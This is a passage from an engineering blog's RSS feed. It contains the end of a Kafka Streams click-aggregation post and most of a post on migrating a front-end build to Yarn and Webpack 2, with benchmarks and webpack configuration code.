12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let’s understand this with help of an example</h3> Imagine a stream of such events coming to server for a very high traffic website. Let’s assume there is a big web gaming platform where 50K-80K concurrent users generate about 80K-120K events per second and there is a requirement to find following things: <ul> <li>Number of clicks user has done in a session</li> <li>Total Pages he has viewed in a session</li> <li>Total amount of time user has spent in a session.</li> </ul> Let the JSON structure be as follows: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "uuid":"user id", "session_id": "some uuid", "event": "click/page_view", "time_spent":14 }</code></pre></div> Ingestion at above mentioned pace in a DB or ensuring that these events gets stored in DB in itself is a challenge. A lot of hardware will be required to cope with this traffic as it is. Hence, it doesn’t make sense to store data directly in DB. A streaming application is a very good fit here. A streaming application is going to leverage the fact that for most of the user the clicks and page views will be concentrated in a time window. So it is possible that in 5 minutes a user might be clicking x times and giving y pageviews on an average. We can introduce a 5 minute window and club these request to form a single equivalent DB request. Hence reducing (x+y) hits to 1 hit in a window of 5 minutes. Thus reducing the traffic to 1/(x+y) of what was coming earlier. I have written a <a href="https://github.com/aman1064/kafka-streams-example" title=" Sample Project">Sample Kafka Streams Project</a> to make it easier for you to understand. Let’s take a look at sequence diagram below. This diagram shows how various components of sample project interact with each other. <div style="text-align:center; margin: 10px;"> <img src="/images/2017/10/kafka-streams-aggregation-sequence.png"> <div style="margin: 10px;"> Kafka Streams Sequence Diagram </div> </div> All this flow is defined with the help of Kafka Streams DSL, the code snippet is given below <div class="gatsby-highlight" data-language="java"><pre class="language-java"><code class="language-java">//Defining Source Streams from multiple topics. KStream&lt;String, ClickStream> clickStream = kStreamBuilder.stream(stringSerde, clickStreamSerde, Main.TOPIC_PROPERTIES.getProperty("topic.click.input").split(",")); //Kafka Streams DSL in action with filtering and cleaning logic and passing it through aggregation collector clickStream .filter((k,v) -> (v!=null)) .map((k, v) -> new KeyValue&lt;>(v.getSessionId(),v)) .through(stringSerde, clickStreamSerde, Main.TOPIC_PROPERTIES.getProperty("topic.click.output")) .groupBy((k, v) -> k, stringSerde, clickStreamSerde) .aggregate(ClickStreamCollector::new, (k, v, clickStreamCollector) -> clickStreamCollector.add(v), TimeWindows.of(1 * 60 * 1000), collectorSerde, Main.TOPIC_PROPERTIES.getProperty("topic.click.aggregation")) .to(windowedSerde, collectorSerde, new ClickStreamPartitioner(), Main.TOPIC_PROPERTIES.getProperty("topic.click.summary"));</code></pre></div> It’s worth noting that for each step we need to define a serializer and deserializer. In above code snippet <ul> <li>stringSerde: Defines the Serialization and Deserialization for String</li> <li>clickStreamSerde: Defines the Serialization and Deserialization for Raw click Data</li> <li>collectorSerde: Defines the Serialization and Deserialization for RocksDB intermediate storage.</li> <li>windowedSerde: Defines the serialization and Deserialization for Kafka Windowed Aggregation storage</li> </ul> Its very easy to implement streams over Kafka and it can be leveraged to reduce the DB traffic and for other applications, where windowing or sessionization makes sense. You can play around with this project and in case you want to reach out to me or have any doubt please drop your queries in comments section. Happy Streaming..!</content:encoded><author>Amandeep Singh</author></item><item><title><![CDATA[Migrating towards Yarn and Webpack]]></title><description><![CDATA[For the past couple of years, we have been using require.js for module loading and Grunt for automating tasks on front-end, for one out of…]]></description><link>https://engineering.wingify.com//posts/migrating-towards-yarn-webpack/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/migrating-towards-yarn-webpack/</guid><pubDate>Wed, 04 Oct 2017 00:00:00 GMT</pubDate><content:encoded><img src="/images/2017/10/migrating-towards-yarn-webpack-header.jpg"> For the past couple of years, we have been using <a href="http://requirejs.org/">require.js</a> for module loading and <a href="https://gruntjs.com/">Grunt</a> for automating tasks on front-end, for one out of many projects we have in Wingify. The project has a huge code-base and has many independent components inside it with some shared utilities. Also, there was no concrete build system which could be scaled upon adding new components. Require.js was being used for good code-structuring, managing modules and their loading. All the different modules were having their own <code class="language-text">require-config.js</code> file to define rules for a particular module. Grunt was being used for automating different tasks required to speed up mundane work. We had a number of tasks like the <a href="https://github.com/gfranko/amdclean">require-amdclean</a> task, concatenating different script / CSS files, minification of files, cache-busting mechanism and so on. Following are some benefits we were getting from the <code class="language-text">require-amdclean</code> task: <ul> <li>We didn't have to include <code class="language-text">require.js</code> in production, thus, saving some bytes.</li> <li>Generation of single js file entirely in Vanilla JavaScript.</li> <li>Get rid of file size/source code readability concerns.</li> <li>It was a great fit to be used as a standalone Javascript library, which is exactly our case.</li> </ul> Everything was working as expected but maintenance, performance, and scale were the issues. We had so many healthy discussions regarding improving things and thus we thought of upgrading our tech stack too. Also, as I mentioned we didn't have a concrete build system; it was the right time to investigate further. We were ready to spend some quality time in researching technologies which could fit in our build system. <a href="https://twitter.com/gauravmuk">Gaurav Nanda</a> and I took a break from our daily chores and read many articles/blogs and the not-so-useful official docs to get a good command over various technologies. Migrating from <code class="language-text">Grunt</code> to <code class="language-text">Gulp</code> wasn't helping us since build time was nearly the same. The task which took a lot of time was the <code class="language-text">require-amdclean</code> task, taking around <code class="language-text">10 seconds</code> even for adding just a single character like <code class="language-text">;</code> while working in the development environment. <h3 id="migrating-from-npm-to-yarn---first-step-towards-a-new-journey" style="position:relative;"><a href="#migrating-from-npm-to-yarn---first-step-towards-a-new-journey" aria-label="migrating from npm to yarn first step towards a new journey permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Migrating from NPM to Yarn - First step towards a new journey</h3> After reading about <a href="https://yarnpkg.com/en/">Yarn</a>, the team was really curious to play with this yet new package manager aka dependency manager. When we benchmarked the results, we were literally stunned by the time difference between NPM and Yarn in fetching up resources. Yarn achieves this speed by introducing parallelism and its performance and security via maintaining a <code class="language-text">yarn.lock</code> file. For a total of <code class="language-text">34</code> packages in total, the following stats would please your eyes too :) <blockquote> yarn@1.0.2 npm@3.10.10 </blockquote> <h4 id="stats-when-we-did-a-fresh-install" style="position:relative;"><a href="#stats-when-we-did-a-fresh-install" aria-label="stats when we did a fresh install permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Stats when we did a Fresh Install</h4> <table> <thead> <tr> <th>Package manager</th> <th>Time taken</th> </tr> </thead> <tbody> <tr> <td><code class="language-text">npm</code></td> <td>3 minutes 12 seconds</td> </tr> <tr> <td><code class="language-text">yarn</code> (without yarn.lock file)</td> <td>1 minute 33 seconds</td> </tr> <tr> <td><code class="language-text">yarn</code> (with yarn.lock file)</td> <td>16 seconds</td> </tr> </tbody> </table> <h4 id="running-the-commands-with-already-installed-packages" style="position:relative;"><a href="#running-the-commands-with-already-installed-packages" aria-label="running the commands with already installed packages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Running the commands with already installed packages</h4> <table> <thead> <tr> <th>Package manager</th> <th>Time taken</th> </tr> </thead> <tbody> <tr> <td><code class="language-text">npm</code></td> <td>7 seconds</td> </tr> <tr> <td><code class="language-text">yarn</code> (with yarn.lock file)</td> <td>6 seconds</td> </tr> </tbody> </table> <img src="/images/2017/10/migrating-towards-yarn-webpack-benchmark.png"> Yarn offers a lot more besides its fast speed, security, and reliability. Check <a href="https://yarnpkg.com/en/docs/cli/">these</a> commands Yarn offers. Since we were using <a href="(%20https://bower.io/)">bower</a> too, our first step was to port all the dependencies and dev-dependencies listed in our <code class="language-text">bower.json</code> file to <code class="language-text">package.json</code>. This was a time-consuming task since we had a huge list of packages. After successful porting of packages and validating the version numbers with the previous packages, we were all set to switch to Yarn. This also helped in keeping just one file for managing packages. We are no longer using bower. Even bower's <a href="https://bower.io/">official site</a> recommends using Yarn and Webpack :) <h3 id="why-switch-to-webpack-2" style="position:relative;"><a href="#why-switch-to-webpack-2" aria-label="why switch to webpack 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why switch to Webpack 2</h3> It wasn't an easy task to accomplish since Webpack is a module bundler rather than a task runner. We were so accustomed to using task runners along with the old-fashioned <code class="language-text">require.js</code> based module management that it took a good amount of time figuring out how to proceed with our mini-app's new build system. Apart from the numerous benefits of using Webpack, the most notable features, especially for our codebase and the build system, were: <ol> <li>Easy integration with <code class="language-text">npm</code>/<code class="language-text">yarn</code> and seamless handling of multiple module formats. We now use two of its kind, one is <code class="language-text">UMD</code> and the other one is <code class="language-text">this</code> target option (we have such a requirement).</li> <li>Single main entry and one single bundled output - exactly what we needed.</li> <li>Cache busting(hashing) - Very very easy to implement and get benefitted.</li> <li>Building different, independent, and standalone modules simultaneously. Thanks to <a href="https://github.com/trivago/parallel-webpack">parallel-webpack</a>!</li> <li> Using webpack-loaders - <ul> <li><a href="https://github.com/babel/babel-loader">babel-loader</a> - so that we could start writing <code class="language-text">ES6</code> compatible code even with our <code class="language-text">require.js</code> module management system.</li> <li><a href="https://github.com/MoOx/eslint-loader">eslint-loader</a> - which allows identifying and reporting on patterns found in ECMAScript/JavaScript code</li> <li><a href="https://github.com/webpack-contrib/css-loader">css-loader</a> - for bundling CSS</li> </ul> </li> </ol> <h3 id="converting-to-webpack-2---a-transcendent-journey-ahead" style="position:relative;"><a href="#converting-to-webpack-2---a-transcendent-journey-ahead" aria-label="converting to webpack 2 a transcendent journey ahead permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Converting to Webpack 2 - A transcendent journey ahead</h3> In the beginning, it looked like just porting the <code class="language-text">require.js</code> configuration to Webpack and we're done. A big NO! This thought was absolutely wrong. There were so many scenarios we had to deal with. We will discuss this in detail as we move along. First thing first, a clear understanding of what exactly Webpack is and how does it bundle the modules are must. Simply copy-pasting the configuration file from the official website and tweaking it won't help in a long run. One must be very clear regarding the fundamentals on which Webpack is built upon. Problems which we needed to tackle were: <ol> <li>Different modules in the same app, having different configuration files.</li> <li>Webpack config should be modular in itself and be able to run multiple configs at once so that we should be able to add/remove a new module easily without affecting any existing one.</li> </ol> <h4 id="installing-webpack" style="position:relative;"><a href="#installing-webpack" aria-label="installing webpack permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Installing Webpack</h4> Via Yarn (recommended) <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">yarn add --dev webpack</code></pre></div> Via NPM <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">npm install webpack --save-dev</code></pre></div> Configuration - A basic configuration file looks like: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.config.js const path = require('path'); const webpack = require('webpack'); module.exports = { context: path.resolve(__dirname, 'src'), entry: { app: './app.js', }, output: { path: path.resolve(__dirname, 'dist'), filename: '[name].bundle.js', }, };</code></pre></div> Check <a href="https://webpack.js.org/configuration/#options">this</a> for knowing the role of each key. Since we needed to support different modules we had to have different config files for each of our module. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename webpack.config.js /** * Method to return a desired config with the necessary options * @param {Object} options * @return {Object} - Desired config Object as per webpack 2 docs */ function executeWebpackConfig(options) { return { devtool: options.devtool === '' ? options.devtool : 'source-map', entry: options.entry, output: options.output, module: options.module, resolve: options.resolve, plugins: options.plugins || [] }; } // Add/remove different modules' corresponding config files let multipleConfigs = [ // For building single bundled JS file require('./build/module-A/webpack.main'), // Corresponding bundled CSS file require('./build/module-A/webpack.main.assets'), require('./build/module-B/webpack.main'), require('./build/module-B/webpack.main.assets'), require('./build/module-C/webpack.main'), require('./build/module-D/webpack.main'), require('./build/module-D/webpack-main.assets') ]; multipleConfigs.map((config) => { return executeWebpackConfig(config); }); module.exports = multipleConfigs;</code></pre></div> The above configuration is capable of handling <code class="language-text">n</code> number of modules. Different modules will have at least one bundled JS file as the output. But we also needed to have a bundled CSS file corresponding to each module. So, we decided to have two different config files for every module which has both JS and CSS bundling, one for bundling JS and other for managing assets and bundling CSS files. Tasks like copying files from src to dist, updating the JS file name with a cache-busting hash(prod build) in the index.html file and so on were taken care of inside the assets config file. The above-mentioned break-down of a module into JS and CSS bundling helped us in having a clean, modular, and scalable approach for our new build system. We also used parallel-webpack to speed up our build by running independent modules in parallel. But be very careful using it, since it spawns a new thread for each different task, which basically uses the different cores of a machine to process. Also, there should be a cap on the number of parallel-tasks to prevent overshooting of CPU usage. <h3 id="extraction-of-common-stuff-for-reusability-and-maintainability" style="position:relative;"><a href="#extraction-of-common-stuff-for-reusability-and-maintainability" aria-label="extraction of common stuff for reusability and maintainability permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Extraction of common stuff for reusability and maintainability</h3> Let's discuss Webpack <code class="language-text">module-rules</code> and <code class="language-text">resolve-aliases</code> which play a significant role, before advancing further with the creation of common webpack-configuration helper methods. <code class="language-text">module rules</code> - Create aliases to import or require certain modules more easily. This basically tells how to read a module and to use it. We used <code class="language-text">expose-loader</code> and <code class="language-text">imports-loader</code> depending on the use-case. <a href="https://github.com/webpack-contrib/expose-loader">expose-loader</a> - adds modules to the global object. This is useful for debugging or supporting libraries that depend on libraries in globals. <a href="https://github.com/webpack-contrib/imports-loader">imports-loader</a> - is useful for third-party modules that rely on global variables like $ or this being the window object. The imports loader can add the necessary require('whatever') calls, so those modules work with Webpack. This is an obvious thing that we had same third-party libraries, wrappers over external libraries, and self-baked useful utilities shared across different modules. This means that our module-specific webpack config file would have the same set of repeated rules and aliases. Code duplication might seem a good fit here for readability but is really painful to maintain in a long run. Let's discuss how we managed to share the common module rules and resolve aliases across the different modules. Below is a generic utility file’s code which has two methods. One outputs whether a passed argument is an Object and the other one outputs whether it’s an array. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: GenericUtils.js module.exports = { isObject: function (obj) { return Object.prototype.toString.call(obj) === '[object Object]'; }, isArray: function (arr) { return Object.prototype.toString.call(arr) === '[object Array]'; } };</code></pre></div> Here's a list of common rules and aliases defined explicitly in a separate file. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.common-module-rules-and-alias.js const path = require('path'); let basePath = path.join(__dirname, '/../'); module.exports = { alias: { // Common thrid-party libraries being used in different modules 'pubSub': basePath + 'node_modules/pubsub/dist/ba-tiny-pubsub.min', 'select2': basePath + 'node_modules/select2/dist/js/select2.full.min', 'acrossTabs': basePath + 'node_modules/across-tabs/dist/across-tabs.this', // ....more // Common self-baked utilities 'utils': 'lib/player/utils', 'storage': 'lib/player/storage', // ....more // Common services 'auth': 'lib/Auth', 'gaUtils': 'lib/GAUtils', 'DOMUtils': 'lib/DOMUtils', 'arrayUtils': 'lib/ArrayUtils', // ....more // Common constants 'AnalyticsEventEnum': 'lib/constants/AnalyticsEventEnum', 'MapTypeEnum': 'lib/constants/MapTypeEnum', 'segmentAnalyticsUtils': 'lib/analytics/SegmentAnalyticsUtils', // ....more }, rules: [ { test: /jQuery/, loader: 'expose-loader?$' }, { test: /pubSub/, loader: 'expose-loader?pubSub!imports-loader?jQuery' }, { test: /select2/, loader: 'expose-loader?select2!imports-loader?jQuery' }, { test: /acrossTabs/, loader: 'expose-loader?AcrossTabs' }, // ....more { test: /utils/, loader: 'expose-loader?utils' }, { test: /storage/, loader: 'expose-loader?storage' }, // ....more { test: /auth/, loader: 'expose-loader?auth' }, { test: /gaUtils/, loader: 'expose-loader?gaUtils' }, { test: /DOMUtils/, loader: 'expose-loader?DOMUtils' }, { test: /arrayUtils/, loader: 'expose-loader?arrayUtils' }, // ....more { test: /AnalyticsEventEnum/, loader: 'expose-loader?AnalyticsEventEnum' }, { test: /MapTypeEnum/, loader: 'expose-loader?MapTypeEnum' }, { test: /segmentAnalyticsUtils/, loader: 'expose-loader?segmentAnalyticsUtils' }, // ....more ] };</code></pre></div> We now had a common file where we could easily add/update/remove any rule and its corresponding alias. Now we needed to have a utility which combines the common rules and aliases with the already defined rules and aliases in a particular modules' config file. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: rulesAndAliasUtil.js const moduleRulesAndAlias = require('./webpack.common-module-rules-and-alias'); const genericUtil = require('./genericUtil'); module.exports = { mergeRulesAndUpdate: function(testRules, config) { if (testRules &amp;&amp; config &amp;&amp; config.module &amp;&amp; config.module.rules &amp;&amp; genericUtil.isObject(config) &amp;&amp; genericUtil.isArray(testRules) ) { testRules.concat(moduleRulesAndAlias.rules); for (let i = 0; i &lt; testRules.length; i++) { config.module.rules.push(testRules[i]); } return config; } return config; }, mergeAliasAndUpdate: function (aliases, config) { if (aliases &amp;&amp; config &amp;&amp; config.resolve &amp;&amp; genericUtil.isObject(aliases) &amp;&amp; genericUtil.isObject(config) ) { let allAliases = Object.assign(aliases, moduleRulesAndAlias.alias); config.resolve.alias = allAliases; return config; } return config; } };</code></pre></div> Time to write our module specific config file. We'll demonstrate just one config file i.e. for moduleA and the others would look exactly the same except the options' value as per module. Here's the full webpack config file for <code class="language-text">moduleA</code>. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.moduleA.js const path = require('path'); const webpack = require('webpack'); const env = require('./../webpack.env').env; // Just to get the env(dev/prod), discussed in detail later const rulesAndAliasUtil = require('./utils/rulesAndAliasUtil'); let basePath = path.join(__dirname, '/../'); let config = { // Entry, file to be bundled entry: { 'moduleA': basePath + 'src/path/to/moduleA-entry.js', }, devtool: env === 'build' ? 'source-map' : false, output: { // Output directory path: basePath + 'dist/moduleA', library: '[name]', // [hash:6] with add a SHA based on file changes if the env is build filename: env === EnvEnum.BUILD ? '[name]-[hash:6].min.js' : '[name].min.js', libraryTarget: 'umd', umdNamedDefine: true }, module: { rules: [] }, resolve: { alias: {}, modules: [ // Files path which will be referenced while bundling basePath + 'src', basePath + 'node_modules', ], extensions: ['.js'] // File types }, plugins: [] }; // Following requirejs format - define how will they be exposed(via expose-loader or exports-loader) and their dependenices(via imports-loader) let testRules = [ { test: /jQuery/, loader: 'expose-loader?$' }, { test: /base64/, loader: 'exports-loader?Base64' }, { test: /ModuleSpecificEnum/, loader: 'expose-loader?ModuleSpecificEnum' } ]; // Following requirejs format - define the paths of the libs/constants/vendor specific to this moduleA only let moduleAlias = { 'jQuery': 'moduleA/vendor/jquery-3.1.0', 'base64': 'moduleA/vendor/base64', 'ModuleSpecificEnum': 'moduleA/constants/ModuleSpecificEnum' } config = rulesAndAliasUtil.mergeRulesAndUpdate(testRules, config); config = rulesAndAliasUtil.mergeAliasAndUpdate(moduleAlias, config); module.exports = config;</code></pre></div> This is a complete webpack config file for bundling JS file for <code class="language-text">moduleA</code>. While configuring it, we defined different options, each one has its own purpose. To know more about each option, please refer <a href="https://webpack.js.org/configuration/#options">this</a>. <h4 id="webpack-loaders" style="position:relative;"><a href="#webpack-loaders" aria-label="webpack loaders permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Webpack loaders</h4> Webpack enables the use of loaders to preprocess files. This allows us to bundle any static resource way beyond JavaScript. We introduced two loaders for bundling JS resources inside our app. <ol> <li><a href="https://github.com/babel/babel-loader">babel-loader</a> - This package allows transpiling JavaScript files using Babel and Webpack. Thanks to babel-loader as we are fearlessly writing ES6 code and updating our mundane code.</li> <li><a href="https://github.com/MoOx/eslint-loader">eslint-loader</a> - This package allows identifying and reporting on patterns found in ECMAScript/JavaScript code.</li> </ol> Since we needed these two loaders for all our modules, we defined them in the same file we discussed earlier - <code class="language-text">rulesAndAliasUtil.js</code> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: rulesAndAliasUtil.js let defaultLoaders = [{ enforce: 'pre', // to check source files, not modified by other loaders (like babel-loader) test: /(.js)$/, exclude: /(node_modules|moduleA\/vendor|moduleB\/lib\/lodash-template.min.js)/, use: { loader: 'eslint-loader', options: { emitError: true, emitWarning: true, failOnWarning: true, // will not allow webpack to build if eslint warns failOnError: true // will not allow webpack to build if eslint fails } } }, { test: /(\.js)$/, exclude: /(node_modules)/, use: { // babel-loader to convert ES6 code to ES5 loader: 'babel-loader', options: { presets: ['env'], plugins: [] } } }];</code></pre></div> And updating the method: <code class="language-text">mergeRulesAndUpdate</code> as follows <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">mergeRulesAndUpdate: function(testRules, config) { if (testRules &amp;&amp; config &amp;&amp; config.module &amp;&amp; config.module.rules &amp;&amp; genericUtil.isObject(config) &amp;&amp; genericUtil.isArray(testRules) ) { testRules.concat(moduleRulesAndAlias.rules); for (let i = 0; i &lt; testRules.length; i++) { config.module.rules.push(testRules[i]); } // Default babel-loader and eslint-loader for all js-modules config.module.rules = config.module.rules.concat(defaultLoaders); return config; } return config; }</code></pre></div> This was all about bundling of JS modules. The same approach was followed for different modules. Now we were left with the bundling of our CSS files and the obvious chores like copying, replacing, etc. <h3 id="webpack-bundling-of-css-files" style="position:relative;"><a href="#webpack-bundling-of-css-files" aria-label="webpack bundling of css files permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Webpack Bundling of CSS files</h3> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.moduleA.assets.js const fs = require('fs'); const path = require('path'); const glob = require('glob-all'); const env = require('./../webpack.env').env; const EnvEnum = require('./../constants/Enums').EnvEnum; // To remove unused css const PurifyCSSPlugin = require('purifycss-webpack'); // Copy Assests to dist const CopyWebpackPlugin = require('copy-webpack-plugin'); // To generate a file in JSON format so that the hash appended can be later read by another file like one css file is used in multiple files so its hash needs to be stored somewhere to be read so that it can be replaced in corresponding `index.html` files const ManifestPlugin = require('webpack-manifest-plugin'); const CleanWebpackPlugin = require('clean-webpack-plugin'); // For combining multiple css files const ExtractTextPlugin = require('extract-text-webpack-plugin') // Minify css files for env=build const OptimizeCssAssetsPlugin = require('optimize-css-assets-webpack-plugin'); // Replace filename if env=build since hash is appended for cache bursting const replacePlugin = require('./../utils/webpack.custom-string-replace.plugin'); let buildPlugins = []; let basePath = path.join(__dirname, '/../'); if (env === 'build') { // minify css files if env is build i.e. production buildPlugins.push(new OptimizeCssAssetsPlugin({ cssProcessorOptions: { safe: true } })); } module.exports = { // Entry, files to be bundled separately entry: { 'css-file-1': [ basePath + 'src/styles/canvas/common.css', basePath + 'src/styles/canvas/mobile.css', basePath + 'src/styles/canvas/main.css' ], 'css-file-2': [ basePath + 'src/styles/app.css', basePath + 'src/styles/player/player.css', basePath + 'src/styles/mobile.css', basePath + 'node_modules/select2/dist/css/select2.min.css' ] }, devtool: '', output: { // Output directory path: basePath + 'dist/styles/', // [hash:6] with add a SHA based on file changes if the env is build filename: env === 'build' ? '[name]-[hash:6].min.css' : '[name].min.css' }, // Rules for bundling module: { rules: [{ test: /\.css$/i, use: ExtractTextPlugin.extract({ use: [{ loader: 'css-loader', options: { // ExtractTextPlugin tries to process url like in backgroun-image, url(), etc. We need to stop that behavior so we need this option url: false } }] }) }] }, resolve: { alias: {}, modules: [], extensions: ['.css'] // only for css file }, plugins: [ // Cleaning specific folder, maintaining other modules dist intact new CleanWebpackPlugin([basePath + 'dist/styles'], { root: basePath }), // File to generated to read hash later on new ManifestPlugin({ fileName: 'manifest.json' }), // Copy css/images file(s) to dist new CopyWebpackPlugin([{ from: basePath + 'src/images', to: basePath + 'dist/images/' }]), // Bundling of entry files new ExtractTextPlugin(env === 'build' ? '[name]-[hash:6].min.css' : '[name].min.css'), // To remove unused CSS by looking in corresponding html files new PurifyCSSPlugin({ // Give paths to parse for rules. These should be absolute! paths: glob.sync([ path.join(basePath, 'src/moduleA/*.html'), path.join(basePath, 'src/moduleA/canBeAnyFile.js'), path.join(basePath, 'src/moduleB/*.html'), path.join(basePath, 'src/moduleC/*.js') ]), purifyOptions: { whitelist: [ '*select2-*' ] // If classes are added on run-time, then based on the 